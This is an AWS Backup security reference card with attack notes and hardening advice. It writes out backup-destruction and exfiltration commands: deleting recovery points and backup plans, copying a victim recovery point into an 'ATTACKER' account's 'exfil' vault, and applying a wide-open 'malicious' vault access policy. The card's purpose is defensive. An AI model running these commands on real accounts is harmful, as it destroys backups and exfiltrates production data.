AWS Backup provides centralized backup management across AWS services. Backup vaults store recovery points that often contain complete copies of production data. Primary target for ransomware and data exfiltration.
Logical containers that store and organize recovery points. Vaults can be encrypted with AWS-managed or customer-managed KMS keys. Access policies control who can manage backups.
Attack note: Vault access policies often allow broad access - check for Principal: * or overly permissive IAM conditions
Snapshots of resources at a point in time. Can be restored to original or new resources. Cross-region and cross-account copies enable DR but also attack pivoting.
Attack note: Recovery points can be copied to attacker-controlled accounts if cross-account copy is enabled
AWS Backup is a prime ransomware target. Attackers delete or encrypt backups before encrypting production data, eliminating recovery options. Cross-account copies can exfiltrate entire environments.
aws backup list-backup-vaultsaws backup list-recovery-points-by-backup-vault \
--backup-vault-name Defaultaws backup get-backup-vault-access-policy \
--backup-vault-name Defaultaws backup list-backup-plansaws backup describe-recovery-point \
--backup-vault-name Default \
--recovery-point-arn <arn>Critical: If vault lock is not enabled, attackers can delete years of backups in minutes. Always enable vault lock in compliance mode.
aws backup delete-recovery-point \
--backup-vault-name Default \
--recovery-point-arn arn:aws:backup:us-east-1:123456789012:recovery-point:xxxaws backup start-copy-job \
--recovery-point-arn <victim-arn> \
--source-backup-vault-name Default \
--destination-backup-vault-arn arn:aws:backup:us-east-1:ATTACKER:backup-vault:exfil \
--iam-role-arn arn:aws:iam::123456789012:role/BackupRoleaws backup delete-backup-plan --backup-plan-id <plan-id>aws backup start-restore-job \
--recovery-point-arn <arn> \
--iam-role-arn <role-arn> \
--metadata AvailabilityZone=us-east-1afor vault in $(aws backup list-backup-vaults --query 'BackupVaultList[].BackupVaultName' --output text); do
echo "=== $vault ==="
aws backup list-recovery-points-by-backup-vault --backup-vault-name $vault
doneaws backup put-backup-vault-access-policy \
--backup-vault-name Default \
--policy file://malicious-policy.json{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": "*",
"Action": [
"backup:CopyIntoBackupVault",
"backup:StartCopyJob"
],
"Resource": "*"
}]
}Anyone can copy backups in or out - full exfiltration risk
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": "*",
"Action": "backup:CopyIntoBackupVault",
"Resource": "*",
"Condition": {
"StringEquals": {
"aws:PrincipalOrgID": "o-xxxxxxxxxx"
}
}
}]
}Only accounts within the organization can copy backups
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {"AWS": "arn:aws:iam::123456789012:root"},
"Action": "backup:*",
"Resource": "*"
}]
}Full backup access without vault lock - ransomware vulnerable
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Deny",
"Principal": "*",
"Action": [
"backup:DeleteRecoveryPoint",
"backup:DeleteBackupVault",
"backup:PutBackupVaultAccessPolicy"
],
"Resource": "*"
}]
}Explicitly deny destructive actions - combine with vault lock
Prevents deletion of recovery points even by root. Use compliance mode for immutable backups.
aws backup put-backup-vault-lock-configuration \
--backup-vault-name Critical \
--min-retention-days 7 \
--max-retention-days 365 \
--changeable-for-days 3Encrypt backups with CMK and restrict key access to prevent unauthorized restore.
aws backup create-backup-vault \
--backup-vault-name Secure \
--encryption-key-arn arn:aws:kms:...:key/xxxOnly allow copies within your AWS Organization using org ID condition.
"Condition": {"StringEquals": {"aws:PrincipalOrgID": "o-xxx"}}Alert on DeleteRecoveryPoint, DeleteBackupVault, and cross-account StartCopyJob events.
Maintain copies in separate accounts with different credentials for true isolation.
Use Service Control Policy to deny backup deletion across all accounts.
"Effect": "Deny", "Action": ["backup:DeleteRecoveryPoint", "backup:DeleteBackupVault"]AWS Backup Security Card • Toc Consulting
Always obtain proper authorization before testing